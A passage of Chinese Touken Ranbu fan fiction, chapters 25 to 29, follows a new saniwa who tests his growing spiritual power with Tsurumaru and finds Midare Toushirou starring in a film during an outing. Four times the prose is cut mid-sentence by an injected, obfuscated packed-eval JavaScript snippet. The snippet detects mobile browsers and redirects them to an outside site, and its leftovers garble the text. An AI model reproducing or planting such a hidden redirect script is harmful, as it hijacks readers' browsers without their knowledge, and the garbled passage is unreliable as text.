三日月宗近总是用主人的话来提醒他,但其实三日月不知道,他每次听见类似的话,脑海里总是只出现一个情景。 在他刚被带回来的那天,主人问他,想不想看看外面的风景。 外面是什么样?小狐丸不知道。 但初次看见本丸究竟长什么样,比他想象中的还要美丽,他觉得这已经是如梦一般、让他感到惶恐的幸福,他不敢奢求更多。 于是他摇了摇头。 主人那时没说什么,他却又恐惧于对方会不会因为自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823366|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝而生气。 洗漱、吃饭,就这样忐忑到晚上。 他以为自己会睡不着,但他莫名入睡得很快。然后在梦里,他看见了嘈杂热闹的人群,欢乐无忧的氛围里,远处高耸入云的机械运作着,荡起一阵阵尖叫与欢笑。 主人就站在身边。黑发黑眸的少年对他伸出手,说—— …… 今剑踉踉跄跄被拉走,在确认小狐丸听不见自己说话后,他抬起头:“三日月大人……” 不远处的门被偷偷打开,石切丸和岩融一上一下从门缝里探出脑袋,一个使眼色一个动嘴巴,如同进入寂静之岭一般试图无声地让院子里的人领会自己的意思。 三日月宗近看得好笑,“人还在后院,出来吧。” 两人顿时松了口气,明明是在自己家,却如同做贼一般蹑手蹑脚迅速开门出来。 大太刀与薙刀的体型一个赛一个大,这幅样子属实不伦不类。就连今剑也暂时忘了忧虑,捂嘴噗噗地笑起来。 今天已经解了禁足令,这意味着他们也不用一直将自己关在门内来躲避了。哪怕是再温吞的性格,长时间这样也捱不下去。 今剑主动张开手:“我们出去玩吧!” 岩融哈哈大笑着把他抱起来放到肩上,只不过才笑了两声就紧急住嘴。他探头探脑地往后院方向看,石切丸则笑着说道:“那么,我就去看看有没有需要帮忙的地方吧。” 三人几乎是迫不及待地开门出去,三条派眨眼空了一半。 笑闹与说话声在门外渐渐远去,三日月宗近脸上的笑意淡下,“……不想试试和他接触一下吗?” “饶了我吧。”小狐丸说道。 “你是知道我的。” - 鹤丸国永赶回天守阁,第一时间探查了一番。 很好,审神者还没回来。 得出这个结论之后,鹤丸国永刚松了口气,又忽然意识到一个问题。 等一下,那家伙不会是骗他的吧? 果然千年老刀就是阴险,下一次他要不要也还三日月一个惊吓呢…… “你又在想什么不好的东西?” “哇啊!”鹤丸国永吓了一跳,眼睛都瞪圆了几分。 清水悠狐疑地看着他,刚刚一进门就看见这家伙一身想搞事的气息,让他忍不住怀疑自己的房间是不是被动了什么手脚。 鹤丸国永哪里看不出他在想什么,立刻发誓:“可不要冤枉我哦!我只是想想而已,还什么都没做呢!” 也就是说的确想做什么是吧? 清水悠无言地看他一眼,也没计较,抱着试卷准备上楼。 看见那同审神者书桌上放着的手册一样封面的试卷,鹤丸国永脑子里‘叮’一声,瞬间想起了当时的猜测。 喔喔,审神者还在钻研那本学习怎么和他们打好关系的书吗?甚至还用上了试卷! 乱七八糟的想法飞速从脑子里掠过,鹤丸国永眨了眨眼,跃跃欲试起来,正想找个借口跟上去传授传授经验,就见审神者忽然停下脚步看过来。 “对了,鹤丸,”清水悠说道,“帮我一个忙吧?” 26.第26章 对于这个本丸的情况,清水悠一直在进行思考。 他毕竟只是初次上任,很多东西没有经验,也要更谨慎一些。况且还有一点是,他毕竟刚死不久,放在现实里连头七都没过。 很难否定他使自己完全投入新的任务的行为没有一部分用忙碌来麻痹自我的成分在。 在刚开始那两天,他总是一副急着完成目标的样子,仿佛用那些事情填满大脑,就能让他以最简单的方法最快地度过这一部分茫然期,但当事情真进入了新一阶段,清水悠却立刻就明白,这事急不来。 情况比他想象的还要棘手一些,他原本的计划多半只能治标不治本。 人与人的相识相知是一个漫长的过程,与付丧神也一样。现实里的心理医生还要对病人进行长时期的话疗呢。 既然这样,清水悠便短暂地歇了急功近利的想法,开始思考起了些别的事。 比如……灵力方面的问题。 “坐。”清水悠随意招呼鹤丸国永坐下,拿起水壶给自己倒了杯热水,什么也没加,捧着杯子坐在椅子上却有种老大爷养生的气质。 他斟酌了一下该怎么开口——他还记得鹤丸国永曾表现出过的那一丝应激。 这种时候若是组织不好语言就会变成贴脸开大,让对方误以为自己要顶风作案耗着灵力玩儿,那他手边能揪到的最方便的辅助人选多半就没影儿了。 “我想试一试,灵力能否进行锻炼。”青年的指腹摩挲着杯壁,以这一句作为开头。 他一边说一边注意着鹤丸国永的神色,在看见对方露出感兴趣的模样时微微松了口气,接着往下讲,“坦白讲,‘灵力’这种东西,在我死亡之前从未有过察觉。当然我的死后重新睁眼与时政找上门是同时发生的,所以不排除灵力的显现有他们的因素。” “在这之前,我想先问一句,灵力是每个人的固定天赋,即不可增长、也不会减少,是这样吗?” 鹤丸国永严谨道:“这个问题的话,我知道之前我们接触过的审神者们,都是符合这个说法的。” 印象里也是这样。他在心里补充。 但印象这种东西是最容易骗人的,为了不给予误导,他没有说出口。 清水悠低眸,像是咀嚼了一下这个回答,然后他摊开手:“说得没错,我入职时也是这么被科普的。但是——” 一团光晕缓缓自手心凝结而起,鹤丸国永讶异地瞪大眼,不论是两人之间的契约、还是作为刀剑付丧神天生对灵力的感知力,都让他轻而易举地判断出,这一团灵力球,比他上次所看见的要凝实许多倍。 灵力球这东西能凝结成什么样,只取决于审神者的资质。它的浓缩程度与审神者体内灵力浓度是完全等同的。 那么,眼前的景象意味着什么? “——很明显,我的灵力浓度在增长。” 清水悠展示完毕,淡声说道。 “……这可真是吓到我了。”鹤丸国永喃喃,很快他也明白这件事意味着什么,“那么,你是说……” 灵力球在下午的屋内闪烁着幽幽荧光,哪怕日光极盛也没掩盖住它的光芒。清水悠将手一收,那团光晕便如流水一般消失不见。 这番动作行云流水,看得鹤丸国永忍不住暗暗赞叹此等灵力控制能力。对于第一任审神者他不清楚,但是知道后来几任对于灵力的控制或多或少有些吃力,也无法做到精准。 值得一提的是,审神者需要用到手入室做辅助来进行手入的一个原因其实就是能力不足。 因为对灵力的输出多少无法精准把控,对刀裂处使用灵力进行修补也很容易手抖,过一道工具的闸就会好很多。 像清水悠这样的才是少数。 当然,因为常识缺失,也无人告知,到现在他本人还只以为手入室的存在意义只是方便拿取资源,还考虑过搞一麻袋装玉钢等物的可能性,后来垫了垫重量又看了看自己病弱的小身板,从心地选择作罢。 “在来这里的第一天,我给大半个本丸都进行了轻伤手入。”清水悠忽然旧事重提,“轻伤最不耗费灵力,但蚁多也能咬死象,数量堆积之下,到最后我的灵力几乎消耗一空。” 所以他无视回来的那一队,除了当时憋气的原因以外,还有就是他的灵力告罄了。 鹤丸国永当时也在场,他回忆了一下,慢慢皱起眉:“但是,我当时完全没有看出来。” “是的,这就是问题所在。”清水悠喝了一口热水润润嗓,“那时我经验不足,后期感到乏力时,只以为是自己灵力消耗殆尽。” 这话的暗示意味强烈,鹤丸国永的眼神变得锐利起来。 清水悠没卖关子,直截了当地说出答案:“后来我发现,那只是因为我对于灵力运用的生疏,导致我陷入了疲累。” “——事实上,我的灵力用之不竭。” 这是一件很不可思议的事,得出这个结论则意味着推翻了时政在审神者入职之处就告知的科普知识,说出去都会让同事第一反应是笑话说别做梦了。 但清水悠经过这段时间对这个力量体系的熟悉,以及探索实验之后,他能肯定自己所说的话的真实性。 当他感到灵力输出困难之时,浅层面上的感觉让他以为自己的灵力已然耗尽,于是谨记种种劝告选择立刻收手。 然而屏蔽掉这一部分感官之后,剩下的东西就变得明显起来。 他清楚的发现,当关注度转移向自己身体内侧,他能看到无数的星光点点——异色的能量光点们在他的体内密度高得几乎要形成粘稠的悬液,甫一受到他的调动,立刻就会变得一个比一个积极。 但当他想要将它们引出体外之时,那阵熟悉的疲惫感就涌了上来。 至此,他恍然大悟。 他所缺少的压根不是灵力,而是技术。 鹤丸国永听着,若有所思。他没cos雕像太久,很快又抬起头,变回了不着调的样子:“实话讲,我并不清楚灵力在审神者那边呈现的状况,所以避免误导你,这方面上我还是不要说什么为好。” “而你说你想让我帮忙……现在看来,就是想让我陪你钻研这方面的问题了?” “是的。”清水悠坦言,他抬眼,尽管鹤丸国永无法看见,也依旧用坦诚而直白的目光注视着他,“没有了这方面的限制,不管从哪个方面来说,都要更有保障。” 哦呀,这个词用得巧妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833183|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。鹤丸国永听着,眼底泛起涟漪似的笑意。 说白了,时之政府聘用人来做审神者,图的就是他们身上的灵力。在这个职位上,灵力可以做到很多事,仅是粗浅的那些就有着维持本丸基础运转、使付丧神保持人类形态等用处,是极为重要、不可或缺的能量。 但这些事情算下来,最大的受益者只是刀剑男士而已。 审神者坐于天守阁中,任务仅是管理本丸,为了留人时政给得实在不少,再加上只要能入职,身上的灵力浓度就至少可以维持本丸运转,提升它费时费力对审神者本人也没有任何好处…… 也就是说,清水悠口中的‘保障’,仅仅是为刀剑们准备的而已。 看不见表情,鹤丸国永也无法从简单一句话中分辨出对方究竟是否是真心实意。但他可以确定的是,光凭这句话,他就可以认定审神者不需要那本书的指导。 他明明很懂得怎么讨人欢心嘛。 “嘛嘛,别这么严肃啊。”鹤丸国永笑着摊了摊手,“听起来这不是挺有趣的吗?跟我说说,要怎么做?现在就开始吗?” 清水悠得到肯定的答案,便从容不迫地取出一个盒子——他早在路上就想好要怎么做了。 “你能看见我的灵力流动,那么,就麻烦鹤丸殿在之后的过程中,替我观察我自己。” 灵雾状态比正常状态下还好观察,这对鹤丸国永来说没有难度,他拖长声音应了好。 作为初次实验,一切处于摸索阶段,什么都显得很粗糙。毕竟什么都是一步步来的,这次清水悠的目的也只有探寻一下大致方向,因此找了人辅助之后,他就把盒子置于膝上,准备开始搓灵力球。 专心输出灵力之时再进行内视难度较大,一心二用得出的结论也容易出错。 而需要将灵力输出至自己感到疲累的状态,这些灵力若只是逸散于空气中也难免浪费,于是清水悠索性趁此机会搓点灵力球让大家出门时带上,以备不时之需。 在鹤丸国永的注视下,手心灵力亮起。 伴随着意念控制,那温暖的光芒被缓慢却稳定地压缩成球状。不久后完全成型,清水悠轻轻松开握拳的手,一颗钢珠模样泛着金属光辉的小圆球啪嗒一声落入盒中。 这是他第一次搓球,摸索技巧要了点功夫,耗费灵力也有点超标。好在他掌握了技巧,之后就变得顺畅起来。 一颗。 三颗。 九颗。 …… 一直到盒子里少说有二十出头的弹珠数量,清水悠再张了张手,手心只微微亮起一点光芒,很快就熄灭。 这就是上限了。 再继续的话,就需要调用他体内还剩下的那些灵力。考虑到不知自己已经就单调的重复性工作做了多久,清水悠扭头打算向鹤丸国永确认一下进度,也提醒对方重点关注一下接下来的流程。 然而一抬头注意到对方的表情,他就愣了一下。 “怎么了?”他问。 鹤丸国永紧紧盯着眼前审神者的灵力流动,越看眉头皱得越紧。听见询问,他困惑地张了张嘴,却不知要怎么说,最后只干巴巴地吐出几个字。 “……不太对劲。” 27.第27章 一开始的时候还算正常,朝夕相处了几天下来,鹤丸国永对于审神者的灵力波动也称得上是熟悉。 他也围观过清水悠初来乍到时那次手入,情况多少清楚。总而言之,到现在搓灵力球的这个阶段,白雾表现出来的状态都在他意料之中。 然而伴随着灵力一点一点输出,他牢记审神者说的关于自己体内的情况,打算寻找看看那所谓的取之不尽的灵力究竟是怎么回事,就发现了一丝端倪。 ——当表面的灵力变得稀疏、被剥去以后,内层就暴露出来,他意识到,那些能量除了外表与外层灵力相同之外,它们拥有着完全不同的波动。 那与审神者的灵力根本就不是一种东西,他怎么能调用得了? 他将情况简略了一下,解释给清水悠听。 “……”清水悠没想过还有这种可能性,“不是灵力?” 要这么说的话也说得通,但是…… “但是,我感觉,我应该是能把它当灵力调用的,只是我目前还没找到方法。” 他陷入了冥思苦想之中。但他接触这些奇异的力量体系也不过才几天时间,想要立刻就能搞清楚未免也有些太难为人。 鹤丸国永歪着脑袋看了看他,凑近了去捻起一颗小钢珠来:“诶呀,我还没见过这个呢。” 清水悠的思路被他打断,怔了一下,便看见那双金色的眼眸对他轻快地眨了眨。 “想不通的话,坐在房间里钻牛角尖也是没有意义的哦。”白色的鹤笑道,“要不要出去看看呢?” - 埋头苦想并不能推进进度。 这话当然没错。 ……但是现在在做的事似乎也和待解决的问题没有什么关系? 清水悠靠在墙边,远远望着柜台前排队的鹤丸国永,忧心忡忡。 “大人!那边应该是等候区吧,您要不去那里坐着?”烛台切光忠也是头一次到外面来,他四处看了看,迅速找到了休息区,试图将审神者劝过去。 清水悠还在担心鹤丸国永独自去买票和零食会出什么岔子,两秒后才反应过来烛台切光忠说的话,顺着看过去一眼,就看见那边的人不少,空位置没剩几个。 他无意识地皱了皱眉,摇头说道:“不用,在这里就好了。” 烛台切光忠对他百依百顺,立刻温声应下。 他偷偷看了眼审神者,心脏还在咚咚地跳——哪怕距离审神者对他提出邀请已经过去了半小时。 不知道鹤先生怎么做到的,居然让审神者同意了出门去玩。要知道,出了本丸之后,为了避免引起注意,在人流量多的地方保护措施就会自动关闭,审神者想要继续在付丧神面前遮掩身份,就只能使用面具一类的道具。 这也意味着审神者短暂拥有实体,能够被人攻击,在他们这样的本丸是绝对之大忌。 这样的种种原因下来导致他几乎忘记了时政还有这样一个放松项目,如今却由审神者自己来找他们主动提了出来——还问他们有没有人想一起去! 烛台切光忠几乎受宠若惊了。 而审神者既然都发出邀请了,自然也没有不去的道理。当然他们也没有那么不知好歹所有人都跟去,于是最后大家都默默退一步把机会让给跃跃欲试的小短刀,太鼓钟贞宗很快乐地就跟了过来。 “呐、呐,小光,那个是什么啊?”同样也是第一次出门的太鼓钟贞宗紧紧跟在两人身边,眼珠子一直四处乱转,每过一会儿就要问一次同样的问题。 只是他问烛台切光忠,烛台切光忠又哪里知道?他也不好意思拿这种事情去打扰审神者,余光瞅见一个身影,连忙转移话题:“鹤先生回来了,小贞,去帮忙拿一下吧。” 自告奋勇去买票买零食饮料的鹤丸国永无师自通地顺利完成了整套流程,抱着两桶爆米花三杯可乐走了过来。 太鼓钟贞宗连忙上去帮忙接过一部分,把可乐分给烛台切光忠之后,大着胆子抱着爆米花凑到清水悠跟前:“是暖乎乎的呢,审神者大人!焦糖的味道好香!趁着还没凉下来的时候去尝,味道是不是会更好一点啊?” 清水悠拿起一颗,塞进他的嘴里,“好吃吗?” 太鼓钟贞宗的眼睛里亮起了星星:“我喜欢这个味道!” 清水悠笑了笑。 决定究竟看哪一部电影的流程清水悠没有参与,一直到鹤丸国永买完票回来他才知晓具体,也如他若说的那样并不在意,看见时间就是十多分钟后的下一场,就慢悠悠走在队伍前方准备带路检票。 太鼓钟贞宗偷偷打量着他的背影,想起刚刚自己鼓起勇气去搭话时,看见审神者未被面具遮掩的唇角上扬,扯起的那一抹弧度温柔的笑意。 有那样笑容的人绝不会是坏人,太鼓钟贞宗这样坚信着。 在本丸的那些派系中,他们这边的人足够少,于是联系也相对更紧密一些,他知道有人听了烛台切光忠的转述之后并没第一时间信任,而是怀疑这只是审神者的缓兵之计,用来将他们麻痹。 其实要他来说,他们根本就没有什么值得觊觎的,哪费得了为他们这么大费周章? 但他理解主人不见了之后大家都有些草木皆兵,于是也没说什么,打算自己找机会打探打探消息。 这一次的出行或多或少也有其他人带着防备而犹豫的意思在,于是他自告奋勇来了。 思索间已接近了检票口,清水悠递出四人的电影票,检票员在他的面具上多看了一眼,压下好奇,好心提醒:“这部电影是3D的哦。” 清水悠:“嗯……嗯??” 检票员把3D眼镜递过来。 付丧神们一个个耳聪目明,自然看清了这边发生了什么,烛台切光忠回手就给了鹤丸国永一拐子,眼神充满责备。 鹤丸国永这次倒是真冤枉,平安时代出来的老刀哪里知道3D是什么? 正想着要不把审神者叫出来重新选一部,就见他已经拿好眼镜走了进去。注意到身后没有脚步声跟上,还回头招呼:“愣着干什么?” 几人连忙走了进去。 “我看看,3号厅在……”清水悠的视线从那些门外的数字上扫过,在转过一个弯之后,看见了走廊尽头亮着光的‘3’字。 “找到了。” 一串小尾巴又跟着清水悠往那里走去。清水悠一看他们的模样就知道在想什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849566|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住笑了笑,声音里带着几分无所谓的态度:“愁眉苦脸的做什么?反正都只是遮挡眼睛,眼镜说不定还比面具要遮得多一点呢。” 有遮住全脸的面具与半脸面具两种选择,清水悠最后拿的是半脸面具——全脸太夸张了,他可不想被当成猴子围观。 虽然街上看着个戴面具的其实就会多看两眼,但总比全脸面具那么夸张的要好。 嗯……至少这个帅不是吗? 在解释之后烛台切光忠还有些忧虑,鹤丸国永倒是最快放松下来的一个。他从清水悠手里拿过一个3D眼镜,研究了一下就往自己脸上戴—— “咚。” 撞墙了。 太鼓钟贞宗大惊:“鹤先生!!” 鹤丸国永赶紧把眼镜摘下,清水悠瞥了一眼,轻飘飘道:“还好没有把眼镜撞坏,不然可是要赔钱了呢。” 鹤丸国永:“喂喂——?” 由于清水悠提前提醒过,在进入播放厅之后大家就迅速安静了。在漆黑的影厅里寻找属于自己的那一排座位,又具体是在哪个位置,这种事肯定是指望不上太刀的,于是小短刀独挑大梁。 清水悠放空脑袋跟着走。影厅内的景象尽收眼底。 ……几乎和自己的世界一模一样了。 审神者不能回去现世的规定指的是自己的现世,因为毕竟他们已经死亡,再回去一不小心就会出岔子。 但是别的平行时空却可以。 也难怪很多人考不过返世考试也就放弃了,随时能去到和自己世界相似的地方度假,而就算回去也不能在熟人面前暴露自己的身份,那还有什么回去的必要呢? 来看这部电影的人似乎不多,他们所在的这一排就没再有别人,前排能看见的人头也寥寥无几。 头一次看电影,三人忍不住兴奋,时不时压低声音交谈,该说不愧是付丧神的五感吗?他们说话的声音低到清水悠就在旁边也听不见,他们却能交流自如。 买的零食饮料很快空了,太鼓钟贞宗在喝可乐之前还又问了一次清水悠要不要,他摆了摆手。 之前生病的时候,不知道是药物副作用还是因为别的什么,总之胃不好,一吃生冷辛辣就容易疼,好多他以前喜欢吃的东西都戒掉了,现在也没再有兴致。 电影是一部偶像片,清水悠不太喜欢这个类型,不过钱都花了还是耐着性子往下看,也是为了不扫三人的兴,在小短刀时不时凑过来问他问题时能答得上来。 不过剧情节奏安排得其实还不错,所以看着也不算煎熬。 就这么有一搭没一搭的想着,剧情走过了一半。 电影讲的是男女主两人你来我往的爱情故事,女主误认为男主有个白月光,还一直不肯告诉自己究竟是谁,每每一问到就一副为难姿态,让女主越发生气和难过。 然后随着剧情进展,女主总算从男主曾经住处的邻居老奶奶身上得到了答案,回忆杀徐徐展开,那个铺垫了半部电影的白月光终于露出真面目—— 清水悠瞬间一呛,咳嗽起来,身边响起碰到可乐杯又立刻扶稳的声音。 耳边传来低低的惊呼。 “——乱?!” 28.第28章 荧幕中朦胧滤镜下出现的记忆中的白月光,不是乱藤四郎又是谁?! 身为粟田口的成员之一,这振短刀外表可爱,平日里打扮精致,爱穿漂亮裙子,不论是看外表还是听声音,不了解他的人都会把他当做女孩子。 但这不代表他真的就是女生了。 清水悠一时语塞,竟不知是该先探究这孩子为什么会在这里,还是该吐槽怎么还演上了男主的白月光。 一时之间所有人都无心再看电影,太鼓钟贞宗与同伴们对视一眼,扭过头来焦急又不敢催促:“大人……” “放心吧,我不会放着不管的。”清水悠给他们吃了一粒定心丸,双眼眯起。 太鼓钟贞宗松了口气,忽然想起当初在远征时遇上的那场意外,再联系现在的情况来看,他不知为何就感到了一种笃定。 这位大人是个负责任的人,他不会在任何有刀剑需要帮忙的情况下弃之不顾的。 如此,大家是不是也能放心些了呢? 他偷偷与烛台切光忠对视一眼,在彼此眼中看见了相似的情绪。 烛台切光忠甚至比他还多了一分劫后余生般微妙的感激——他努力寻找新的希望不代表他就比别的刀对主人的爱要少。相反,正是因为深爱,他才咬着牙去求一个不可能的可能。 他们与主人的爱是相互的,谁都清楚主人最大的愿望就是希望他们过得好。所以在他看来,为主人而死不叫忠诚,叫做愚忠。 总有人爱说为了你我可以牺牲一切,可却从未考虑对方的感受,烛台切光忠自认不是这样的人。 这位审神者真心爱护刀剑,这无疑是最幸运的事。 电影是没人有心情再看下去了,仗着自己后排无人,清水悠拿通讯器登上这个世界的网络查了查,发现这个电影少说筹备了一年。 就算乱藤四郎喜欢荧幕爱热闹,又哪来那么多时间整日拍摄?不用想都知道,多半是出现了什么意外。 他又翻了翻别的信息,冲付丧神们招了招手,一行人悄悄溜出影院,清水悠把通讯器屏幕展示给他们看,“看起来,他已经在这里待了不久。” 实名出道,还签了公司。 事情麻烦起来了。 “没有联系方式也没有地址,我们没办法联系上他。”鹤丸国永托腮,“这可难办了。” “是啊,”不仅如此,作为现代人,清水悠知道得要比他们更多,“公众人物更是会尤其注意不泄露自己的信息,除非他自己愿意,恐怕根本没有能接触他的机会。” 而愿意的前提依然是要先联系上他,这依旧陷入了死循环。 太鼓钟贞宗一直踮着脚尖看屏幕,他指了指上面乱藤四郎的社交账号右下角的私信,“不能发消息吗?” 清水悠低眸看过去,顺着他的话打开私信发送了一条暗示自己身份的消息,意料之中没得到任何回复。 烛台切光忠摇了摇头:“每日这样的消息太多了,他很难注意到我们吧。” 眼见事情陷入僵局,鹤丸国永忽然出声:“不如回去找粟田口问问吧?作为最了解乱藤四郎的人,说不定他们会有办法呢。” 这话一出,众人齐齐一愣。 烛台切光忠第一反应就是不赞同,他下意识拧眉看向鹤丸国永,对方却没与他对上视线。 脑袋后知后觉转动起来,他稍稍思索一下,陷入沉默。 不得不说这的确是个好主意,这种情况说不好是那振乱藤四郎当真走丢了还是只是人家的娱乐,贸然上报时政只怕反而添乱,能找到本人问清楚情况再下决定更好。 但是粟田口那边…… “有什么不妥吗?”清水悠敏锐地意识到态度不对。 这有些出乎他的意料,因为在他的记忆里,粟田口刀派他迄今为止遇到过的所有人都很正常,没见今天粟田口的短刀们都跑出来到处玩了么? 三刃互相对视一眼,烛台切光忠默然片刻,还是道:“如果大人决定要去找他们的话……或许便能知道了。” 哪怕他已决定信任这位审神者,却也不能替别人做决定。 要不要告知,最终还是得看一期一振自己是怎么想的啊。 - 在返程之后,清水悠直奔粟田口刀派所在位置。 剩下三人中,烛台切光忠委婉表示有需要再来找自己,鹤丸国永想继续跟随,却被近侍的任务绊住了脚步,最后只有太鼓钟贞宗想要继续同行。 路上清水悠也有留意,在他们出门之前短刀们似乎就疯够了,本丸中已经看不见人影。现在回到本丸也没有一振粟田口出没。 说正常也算正常,毕竟在前几天的时候本丸可还冷冷清清如同无人居住。 但经过了提醒,清水悠心中便多出一丝怀疑。 他压下繁多的思绪,来到粟田口的门外,轻轻敲了敲门。 在等待门开的时间里,他甚至还想过无人理会的可能性,不过这倒是他多想了。门很快打开,见过一次面的药研藤四郎站在门口,“有什么事吗?” 清水悠将手中的通讯器屏幕翻转,其上正是截下来的那振乱藤四郎社交平台的图片。 这张图比什么解释都好用。 “……”药研藤四郎微微瞪大了眼,有一瞬间他甚至怀疑是否是审神者做了一张假图来消遣自己,但他很快就明白这不可能,当机立断地转身,“我去找一期哥,麻烦审神者在门口等一下。” 清水悠时刻注意着他的神色,清楚的看见他在离去之前与太鼓钟贞宗对视一眼,像是达成了什么约定。 他略微思索了一下,冷不丁出声:“真奇怪呢……” 太鼓钟贞宗一惊,虽然立刻便镇定下来,刚开口时嗓音还是有些微的干涩:“怎么了大人?” “乱怎么会被困在现世里呢?”清水悠慢悠悠接上下半句。 太鼓钟贞宗被转移了注意力,闻言也有些泄气:“是啊,这样一点都不华丽啊!希望只是我们的误会吧。” 清水悠没再开口。 哪怕只是一瞬间的反应,也足够他做出判断,太鼓钟贞宗和药研藤四郎之间的约定,多半就是要守住自己不踏进粟田口的门。 这样看来,确实是有问题。 很快脚步声重新响起,一期一振跟在药研藤四郎身后走了出来,清水悠注意到他的发丝有些凌乱,像是临时匆忙赶过来。 他又往太刀身后看了看,没看到这次事件的当事人。 一期一振停在他的面前,还没开口,就听清水悠问道:“乱不来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862089|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 没想到审神者第一句话是问这个,一期一振愣了一下,礼貌地回答:“我还没有告诉他。” 这听起来稍微有些不负责任的话似乎让审神者感到了不满,白色的雾气安静下来,顺从重力轻飘飘往下坠,看起来风雨欲来。 “能否告诉我是什么理由呢?”他问,“因为在我看来,有同振的指导会对解决这件事更有帮助。” 这合情合理,一期一振却依旧只说:“抱歉。但我想,我去也是一样的。” 这边一来一回纠缠不下,旁边的药研藤四郎忆起对方的性格,忧心对方得不到理由会打破砂锅问到底,索性一咬牙,主动说道:“算了,一期哥,毕竟事关同振,还是让乱知道比较好。他不是小孩子,什么情况都能接受的。” 一期一振不赞同地看向他,药研藤四郎却打定主意不与他对视,“我去把乱叫过来。” 话音落下,他便打算去把乱藤四郎换出来。不过刚走出去两步,便又听见审神者的声音在身后响起。 “……算了。既然一期殿都这样说了,那就这样吧。请跟我来。” 药研藤四郎讶异回头,发现审神者当真干脆利落地转身离开。 可刚刚不是还一副一定要得到答案的样子吗? 他有些困惑,更多的却是松了一口气,等人走远之后立刻将门关上。 匆忙回到屋内,在某个房间外停下,药研藤四郎隔着门问道:“怎么样,乱?稳定下来了吗?” 乱藤四郎清脆的声音在屋内响起:“好了哦——!”他抱怨道,“真是的,刚刚突然出现波动,吓了我一跳呢!” “审神者离开了吗?” “嗯。”药研藤四郎说道,“辛苦了。” 他没打算把刚才的情况说出来,乱藤四郎却敏锐地察觉到他的隐瞒:“出了什么意外吗,药研哥哥?你刚刚过来的时候,说话语气听起来很不对哦?” “嗯?”药研藤四郎眨眨眼,努力回想,却完全想不出是哪里暴露了问题。 如同读心一样,乱藤四郎又道:“哼哼,你就别想瞒着我啦。到底怎么啦?情况比刚才说的还要更糟糕?还是审神者只是来做个恶作剧?” 眼看他越说越离谱,药研藤四郎连忙止住他的猜测,无奈地把实情简单说出口。语毕,还劝道:“我们不能让审神者发现这件事,让他意识到有不对的地方就不妙了。只是偶尔一次不会有太大问题……” 如他所料,没等他说完,乱藤四郎已不满地嚷嚷起来:“嘛——真是小瞧我了啦!这有什么好纠结的?在药研哥哥回来之前我一定已经把这点小小的波动解决掉了,才不会让你受伤呢!对我连这点信心都没有吗?” “好好……我错了。下次会果断的。” 药研藤四郎熟练应对着弟弟的撒娇,与此同时目光偏转,抬手抚上布满墙壁的纹路,眼中不由得出现一抹忧愁。 这东西需要每天至少一人守在这里维持,交接时刻需要谨慎,在它出现波动时换人更是极易导致受伤,实在是个麻烦。 可在事情解决之前,又不能不维持它的存在。 现在由审神者负责日课安排,他们再进池田屋的可能性少之又少…… 这样下去,要怎么办才好呢? 29.第29章 回到现世的那一刻,清水悠敏锐的意识到不对。 “……天色变黑了。”他抬头看着夜晚初至的天空,轻声喃喃。 看完电影的时间虽接近黄昏,太阳却也还没有要落山的意思。 清水悠自认自己速度还算快,不至于回去一趟就耗费了足够天色转阴的时间,联想到出门之前得到过的有关于时空流速不同的提示,答案显而易见。 虽说本丸的空间是由时政创造并控制,也有相应的技术可以维持本丸内部与连通的世界时间流速相同,但这种东西耗费能源不少,基本是能不用则不用。 而时政提供给审神者休假用的现世坐标基本都是经过筛查,保证时流只会比本丸更快而不会慢,不会造成出门一天回家一年的景象,别的就没再多做干扰。 说是这么说,毕竟同为相似的平行世界,时间流速也不会差别大到哪去。但是看现在的情况……恐怕已然超乎预料了。 清水悠没打算多纠结于这件事。他正要和一期一振说说详细情况,就听见太鼓钟贞宗一声惊呼。 “怎么了?”他的注意力立刻被吸引过去,于是也错过了一期一振有些异样的神色。 一期一振其实也没想别的,只不过是突然看见审神者本人的外表,想起梦境里那个少年,感到了一瞬间的割裂。 